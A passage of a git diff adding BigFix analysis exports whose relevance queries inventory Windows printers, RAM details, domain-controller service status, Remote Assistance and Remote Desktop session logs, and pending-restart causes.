+    <Property ID="6" Name="Default Printers" EvaluationPeriod="PT12H">concatenation &quot;, &quot; of (unique values whose(it as string does not contain &quot;Microsoft&quot; AND it as string does not contain &quot;PDF&quot; AND it as string as lowercase does not contain &quot;fax&quot; AND it as string does not contain &quot;OneNote&quot; AND it as string does not contain &quot;PaperPort&quot;) of preceding texts of firsts &quot;,&quot; of ((values &quot;Device&quot; of keys &quot;windows&quot; whose ( exists values &quot;Device&quot; of it )  of keys &quot;Software\Microsoft\Windows NT\CurrentVersion&quot; of keys of key &quot;HKEY_USERS&quot; of registry) as string) as string)</Property>
+    <Property ID="7" Name="Printer Info from WMI" EvaluationPeriod="PT12H">selects &quot;Name,Caption,DeviceID,DriverName,PortName from win32_printer&quot; of wmi</Property>
+    <Property ID="8" Name="Printer Names from WMI (filtered)" EvaluationPeriod="PT12H">unique values whose(not exists (it as lowercase) whose(it = &quot;fax&quot; OR it contains &quot;webex &quot;  OR it contains &quot; converter&quot; OR it contains &quot; virtual printer&quot;  OR it contains &quot; publisher imagesetter&quot; OR it contains &quot; onenote &quot; OR it contains &quot;microsoft &quot; OR it contains &quot;pdf&quot;)) of string values of selects &quot;Name,Caption,DeviceID,DriverName from win32_printer&quot; of wmi</Property>
+    <Property ID="9" Name="Printer Info from ActiveDevices" EvaluationPeriod="PT12H">(friendly name of it | &quot;&lt;noFriName&gt;&quot;, description of it | &quot;&lt;noDesc&gt;&quot;, manufacturer of it | &quot;&lt;noManuf&gt;&quot;, location information of it | &quot;&lt;noLocInfo&gt;&quot; ) of  active devices whose(class of it = &quot;PrintQueue&quot; OR class of it = &quot;Printer&quot;)</Property>
+    <Property ID="10" Name="DoNotInstallCompatibleDriverFromWindowsUpdate (win7+)" EvaluationPeriod="PT12H">values &quot;DoNotInstallCompatibleDriverFromWindowsUpdate&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print&quot; of native registry</Property>
+    <Property ID="11" Name="PrinterNames of ControlSet (registry)" EvaluationPeriod="PT12H">unique values of names of keys of keys &quot;Control\Print\Printers&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry</Property>
+    <Property ID="12" Name="PrinterDrivers of ControlSet (registry)" EvaluationPeriod="PT12H">unique values of names of keys of keys whose(name of it starts with &quot;Version-&quot;) of keys &quot;Drivers&quot; of keys of keys &quot;Control\Print\Environments&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry</Property>
+    <Property ID="13" Name="Names of (PrinterDrivers &amp; PrinterNames) combined&amp;filtered" EvaluationPeriod="PT12H">unique values whose(not exists (it as lowercase) whose(it = &quot;fax&quot; OR it contains &quot;root print &quot; OR it contains &quot;remote desktop &quot; OR it contains &quot;webex &quot; OR it contains &quot; converter&quot; OR it contains &quot; virtual printer&quot; OR it contains &quot; publisher imagesetter&quot; OR it contains &quot; onenote &quot; OR it contains &quot;microsoft &quot; OR it contains &quot;pdf&quot;)) of ( (string values of selects &quot;Name,Caption,DeviceID,DriverName from win32_printer&quot; of wmi);( names of keys of keys &quot;Control\Print\Printers&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry );( names of keys of keys whose(name of it starts with &quot;Version-&quot;) of keys &quot;Drivers&quot; of keys of keys &quot;Control\Print\Environments&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of native registry );(values &quot;Model&quot; of keys of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry as string);(( if (exists friendly name of it) then (friendly names of it) else (descriptions of it)  ) of active devices whose(class of it = &quot;PrintQueue&quot; OR class of it = &quot;Printer&quot;)) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes b/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes
new file mode 100644
index 000000000..3a9b79296
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Printers - Windows
+  ID       : 2998542
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:43:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Printers - Windows</Title>
+    <Description><![CDATA[<P>Analysis of local and AD installed printers for Windows systems only</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Printers - Local - Windows" EvaluationPeriod="P1D">(value &quot;name&quot; of it, value &quot;printer driver&quot; of it, value &quot;port&quot; of it) of keys whose (value &quot;Port&quot; of it as string contains &quot;LPT&quot; OR value &quot;Port&quot; of it as string contains &quot;DOT4&quot; OR value &quot;Port&quot; of it as string contains &quot;USB&quot; OR value &quot;Port&quot; of it as string contains &quot;.&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&quot; of registry</Property>
+    <Property ID="2" Name="Printers - Active Directory - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (values &quot;printShareName&quot; of keys &quot;DsSpooler&quot; of it, values &quot;description&quot; of keys &quot;DsSpooler&quot; of it, values &quot;location&quot; of keys &quot;DsSpooler&quot; of it, values &quot;Printer Driver&quot; of it, values &quot;portName&quot; of keys &quot;DsSpooler&quot; of it, values &quot;ShortServerName&quot; of keys &quot;DsSpooler&quot; of it) of keys of keys whose (name of it = &quot;Printers&quot; ) of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\Client Side Rendering Print Provider\Servers&quot; of registry</Property>
+    <Property ID="3" Name="Printers - Drivers - Windows" EvaluationPeriod="P7D">unique values of (it as string) of (name of it, value &quot;DriverVersion&quot; of it) of keys of keys of keys &quot;Drivers&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Environments&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes b/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes
new file mode 100644
index 000000000..8afbe1b1f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Random Access Memory (RAM) Properties (Windows) - Extended
+  ID       : 2994574
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-09-17T11:43:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Random Access Memory (RAM) Properties (Windows) - Extended</Title>
+    <Description><![CDATA[<P>Decoding many of the results of this analysis requires reading the SMBIOS spec found here: <A href="http://dmtf.org/standards/smbios"><FONT color=#000080>http://dmtf.org/standards/smbios</FONT></A> </P>
+<P>If the "smbios" inspector works on other OSes other than Windows, then this analysis should work there too.</P>
+<P>This analysis can be found here: <A href="http://bigfix.me/analysis/details/2994573"><FONT color=#000080>http://bigfix.me/analysis/details/2994573</FONT></A></P>]]></Description>
+    <Relevance>exists smbios</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 17 Sep 2013 18:42:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Type" EvaluationPeriod="P2D">unique values of (values &quot;memory_type&quot; of structures &quot;memory_device&quot; whose(value &quot;speed&quot; of it as string != &quot;0&quot;) of smbios as string)</Property>
+    <Property ID="2" Name="Speed (Mhz)" EvaluationPeriod="P2D">unique values of (values &quot;speed&quot; whose(it as string != &quot;0&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="3" Name="Manufacturer" EvaluationPeriod="P2D">unique values of (values &quot;manufacturer&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string does not start with &quot;FFFFFFFFFFFF&quot; AND it as string as trimmed string != &quot;&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="4" Name="Form Factor" EvaluationPeriod="P2D">unique values of (values &quot;form_factor&quot; of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="5" Name="Part Number" EvaluationPeriod="P2D">unique values of (values &quot;part_number&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="6" Name="Asset Tag" EvaluationPeriod="P2D">unique values of (values &quot;asset_tag&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="7" Name="Serial Number" EvaluationPeriod="P2D">unique values of (values &quot;serial_number&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string != &quot;00000000&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes b/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes
new file mode 100644
index 000000000..a5ab07718
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Real-time Downtime Validation
+  ID       : 2998602
+  Author   : clarm060
+  Domain   : BESC
+  Imported : 2020-02-03T12:49:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Real-time Downtime Validation</Title>
+    <Description><![CDATA[<P>This analysis provides the ability to track DC services, Shares, and Reboot status in a real-time report. Servers do not need to be a Domain controller to use this report but they will show false for all ADS services and shares.</P>
+<P>Note: Currently the Relevance for this Analysis pulls all endpoints with any windows OS. if you are going to target just a subset of devices change the Relevance to Computer groups (manual or Dynamic), By Active Directory OU, etc. to filter to the devices you want.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 03 Feb 2020 20:34:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="AD Web" EvaluationPeriod="PT0S">if not exists service &quot;ADWS&quot; then &quot;Not Installed&quot; else if exists service &quot;ADWS&quot; then if exists running service &quot;ADWS&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="2" Name="AD Domain">if not exists service &quot;NTDS&quot; then &quot;Not Installed&quot; else if exists service &quot;NTDS&quot; then if exists running service &quot;NTDS&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="3" Name="Carbon Black">if not exists service &quot;Parity&quot; then &quot;Not Installed&quot; else if exists service &quot;Parity&quot; then if exists running service &quot;Parity&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="4" Name="CiscoAMP">if not exists (service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then &quot;Not Installed&quot; else if exists (service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then if exists (running service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="5" Name="LogRhythm">if not exists service &quot;SCSM&quot; then &quot;Not Installed&quot; else if exists service &quot;SCSM&quot; then if exists running service &quot;SCSM&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot; </Property>
+    <Property ID="6" Name="SCCM">if not exists service &quot;CCmExec&quot; then &quot;Not Installed&quot; else if exists service &quot;CCmExec&quot; then if exists running service &quot;CCmExec&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="7" Name="SEP">if not exists service &quot;SEPMasterService&quot; then &quot;Not Installed&quot; else if exists service &quot;SEPMasterService&quot; then if exists running service &quot;SEPMasterService&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot; </Property>
+    <Property ID="8" Name="Uptime of OS">uptime of operating system</Property>
+    <Property ID="9" Name="Reboot Pending">if (exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry) then &quot;Updates&quot; else if (exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry) then (&quot;CBS&quot;) else if (exists value &quot;UpdateExeVolatile&quot; of keys &quot;HKLM\Software\Microsoft\Updates&quot; of native registry) then (&quot; UpdateExeVolatile&quot;) else (&quot;No&quot;)</Property>
+    <Property ID="10" Name="SysVol">Exists (folder(&quot;\\&quot; &amp; (computer name as string) &amp; &quot;\sysvol&quot;))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes
new file mode 100644
index 000000000..6ef231be9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Configuration - Windows
+  ID       : 2998523
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Configuration - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding the remote assistance configuration of a computer. </P>
+<P>Specifically providing information on the states of the following settings</P>
+<UL>
+<LI>Detailed Logging
+<LI>Unsolicited remote assistance (View)
+<LI>Unsolicited remote assistance (Control)
+<LI>Users and Groups allowed to initiate offers to this computer</LI></UL>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Assistance - Logging - Windows" EvaluationPeriod="PT12H">if ((value &quot;LoggingEnabled&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
+    <Property ID="2" Name="Remote Assistance - Unsolicited View - Windows" EvaluationPeriod="PT12H">if ((value &quot;fAllowUnsolicited&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
+    <Property ID="3" Name="Remote Assistance - Unsolicited Control - Windows" EvaluationPeriod="PT12H">if ((value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
+    <Property ID="4" Name="Remote Assistance - Allowed Helpers - Windows" EvaluationPeriod="PT12H">if (exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services\RAUnsolicit&quot; of registry) then (names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services\RAUnsolicit&quot; of registry) else (&quot;none&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes
new file mode 100644
index 000000000..c91bdef30
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Event Logs - Windows
+  ID       : 2998524
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Event Logs - Windows</Title>
+    <Description><![CDATA[<P>Pulls data from the Remote Assistance event log.</P>
+<P>For outgoing remote assistance requests: Who they were to, who made the request, and what time</P>
+<P>For incoming remote assistance requests: Who received it, and what time (not possible to tell who made the request)</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot; | false</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Assistance - Outgoing Requests - Windows" EvaluationPeriod="PT6H">(time generated of it, name of user of user sid of it, substring before &quot;as the command line&quot; of substring after &quot;with:&quot; of description of it as string) of (records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) of event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot;) whose (description of it contains &quot;as the command line parameters&quot; and description of it does not contain &quot;CreateRA&quot;)</Property>
+    <Property ID="2" Name="Remote Assistance - Incoming Requests - Windows" EvaluationPeriod="PT6H">(name of user of user sid of it, time generated of it) of (records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) of event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot;) whose (description of it contains &quot;A Remote Assistance Invitation was successfully opened.&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes
new file mode 100644
index 000000000..61385f150
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Session Logs - Windows
+  ID       : 2998525
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Session Logs - Windows</Title>
+    <Description><![CDATA[<P>Pulls data from the Remote Assistance session logs in each user's documents folder.</P>
+<P>For&nbsp;ALL&nbsp;incoming connections that are established&nbsp;the following is collected:</P>
+<UL>
+<LI>Full name of originating user
+<LI>IP address of originating request
+<LI>Date of request
+<LI>Time of request</LI></UL>
+<P>For incoming connections where <STRONG>control is granted</STRONG>, the following is collected:</P>
+<UL>
+<LI>Full name of originating user
+<LI>IP address of originating request
+<LI>Date of request
+<LI>Time of request</LI></UL>
+<P>For all sessions, the following is collected:</P>
+<UL>
+<LI>Full name of originating user
+<LI>Date of session start
+<LI>Time of session start
+<LI>Date of session end
+<LI>Time of session end</LI></UL>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists (folders "Remote Assistance Logs" of folders "Documents" of folders of folder (name of drive of system folder & "\Users"))]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="Remote Assistance - Incoming Connection Established - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text, xpath &quot;INCOMING_IP_ADDRESS&quot; of it as text, node value of attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as string, node value of attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as string) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
+    <Property ID="4" Name="Remote Assistance - Incoming Control Granted - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, xpath &quot;INCOMING_IP_ADDRESS&quot; of it as text | &quot;none&quot;, node value of attribute &quot;DATE&quot; of xpath &quot;EXPERT_CONTROL_STARTED&quot; of it as string | &quot;none&quot;, node value of attribute &quot;TIME&quot; of xpath &quot;EXPERT_CONTROL_STARTED&quot; of it as string | &quot;none&quot;) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/EXPERT_CONTROL_STARTED&quot; of it and exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
+    <Property ID="5" Name="Remote Assistance - Incoming Session Times - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ENDED&quot; of it as text | &quot;none&quot;, attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ENDED&quot; of it as text | &quot;none&quot;) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes
new file mode 100644
index 000000000..ac3780a11
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Windows
+  ID       : 2998526
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Windows</Title>
+    <Description><![CDATA[<P>This Analysis gathers enabled and install state data regarding Remote Assistance.</P>
+<P>&nbsp;</P>
+<P>Remote Assistance is by default not enabled or installed on Windows Server Operating Systems</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.1"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Assistance - Installed" EvaluationPeriod="P1D">if (name of operating system as string starts with &quot;Win2&quot;) then (exists selects &quot;* from Win32_ServerFeature where (Name like &apos;Remote Assistance&apos;)&quot; of wmi) else (if (version of operating system &gt;= &quot;6.1&quot;) then (true) else (false))</Property>
+    <Property ID="2" Name="Remote Assistance - Enabled" EvaluationPeriod="P1D">(value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer | 0) = 1</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes
new file mode 100644
index 000000000..b532898c9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes	
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Desktop - Session Logs - Windows
+  ID       : 2998527
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Desktop - Session Logs - Windows</Title>
+    <Description><![CDATA[<P>Provides information about previous remote desktop sessions on the system.</P>
+<P><FONT color=#ff0000><STRONG>NOTE:</STRONG></FONT> Due to issues with how BigFix parses the event log: <A href="https://forum.bigfix.com/t/the-event-record-inspector-is-returning-an-error-for-the-description-of-the-event/17006">https://forum.bigfix.com/t/the-event-record-inspector-is-returning-an-error-for-the-description-of-the-event/17006</A>&nbsp;this will NOT return results for users resuming their RDP sessions. This will only return results for users starting brand new user sessions over RDP.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Desktop - Incoming Sessions - Windows" EvaluationPeriod="PT6H">(preceding text of first &quot;%0d%0a&quot; of following text of first &quot;User: &quot; of description of it | &quot;Unknown&quot;, time generated of it, (if (it = 21) then (&quot;New Session&quot;) else (&quot;Resumed Session&quot;)) of (event id of it), following text of last &quot;: &quot; of description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2000;item 1 of it))) of (record count of it, oldest record number of it)) whose (exists description of it and (event id of it = 21 or event id of it = 25) and description of it does not contain &quot;LOCAL&quot;) of event log &quot;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes b/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes
new file mode 100644
index 000000000..6f40488d8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Restart information - Windows
+  ID       : 2998686
+  Author   : andrea.proietto
+  Domain   : BESC
+  Imported : 2023-05-25T04:10:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Restart information - Windows</Title>
+    <Description>This analysis shows what could cause a &quot;Pending Restart&quot; status on Windows endpoints</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>in agent context</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 May 2023 11:07:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Restart needed">pending restart</Property>
+    <Property ID="2" Name="BigFix key">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BigFix\EnterpriseClient\BESPendingRestart\BESPendingRestart&quot; of native registry then names of values of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BigFix\EnterpriseClient\BESPendingRestart\BESPendingRestart&quot; of native registry else &quot;No key found&quot;</Property>
